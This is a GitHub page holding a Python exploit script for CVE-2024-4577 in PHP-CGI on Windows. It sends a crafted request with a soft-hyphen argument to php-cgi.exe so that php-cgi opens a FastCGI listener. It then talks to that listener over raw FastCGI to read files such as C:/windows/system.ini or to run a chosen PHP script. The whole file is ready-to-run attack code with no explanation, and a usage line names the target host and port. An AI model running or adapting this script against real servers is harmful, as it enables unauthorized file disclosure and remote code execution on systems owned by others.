-
Notifications
You must be signed in to change notification settings - Fork 31
/
CVE-2024-4577-PHP-RCE.py
92 lines (70 loc) · 2.53 KB
/
CVE-2024-4577-PHP-RCE.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
# python CVE-2024-4577-PHP-RCE.py PhpServerHost:PhpServerPort
import requests
import socket
import struct
import sys
FCGI_BEGIN_REQUEST = 1
FCGI_ABORT_REQUEST = 2
FCGI_END_REQUEST = 3
FCGI_PARAMS = 4
FCGI_STDIN = 5
FCGI_STDOUT = 6
FCGI_STDERR = 7
FCGI_DATA = 8
FCGI_GET_VALUES = 9
FCGI_GET_VALUES_RESULT = 10
FCGI_UNKNOWN_TYPE = 11
FCGI_RESPONDER = 1
FCGI_KEEP_CONN = 1
request_id = 1
def fcgi_header(type, request_id, content_length, padding_length):
return struct.pack('!BBHHBx', 1, type, request_id, content_length, padding_length)
def fcgi_begin_request(request_id, role, flags):
body = struct.pack('!HB5x', role, flags)
return fcgi_header(FCGI_BEGIN_REQUEST, request_id, len(body), 0) + body
def fcgi_params(request_id, name, value):
nlen = len(name)
vlen = len(value)
body = struct.pack('BB', nlen, vlen) + name.encode() + value.encode()
return fcgi_header(FCGI_PARAMS, request_id, len(body), 0) + body
def fcgi_end_params(request_id):
return fcgi_header(FCGI_PARAMS, request_id, 0, 0)
def fcgi_stdin(request_id, data):
body = data.encode()
return fcgi_header(FCGI_STDIN, request_id, len(body), 0) + body
def fcgi_end_stdin(request_id):
return fcgi_header(FCGI_STDIN, request_id, 0, 0)
def send_request(host, cgi_bind_port, script_filename):
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(5)
sock.connect((host, int(cgi_bind_port)))
params = {
'SCRIPT_FILENAME': script_filename
}
sock.sendall(fcgi_begin_request(request_id, FCGI_RESPONDER, 0))
for name, value in params.items():
sock.sendall(fcgi_params(request_id, name, value))
sock.sendall(fcgi_end_params(request_id))
sock.sendall(fcgi_end_stdin(request_id))
response = b''
while True:
data = sock.recv(1024)
if not data:
break
response += data
sock.close()
return response
def exp1(host, http_port, cgi_bind_port):
url = 'http://{}:{}/php-cgi/php-cgi.exe?%adb{}:{}'.format(host, http_port, host, cgi_bind_port)
try:
r = requests.get(url, headers={'User-Agent':'', 'Redirect-Status': 'XCANWIN'}, timeout=2)
except Exception as e:
pass
def exp2(host, cgi_bind_port, script_filename):
response = send_request(host, cgi_bind_port, script_filename)
print(response.decode(errors='ignore'))
host, http_port = sys.argv[1].split(":")
script_filename = "C:/windows/system.ini" # can include *.php file
cgi_bind_port = "9999"
exp1(host, http_port, cgi_bind_port)
exp2(host, cgi_bind_port, script_filename)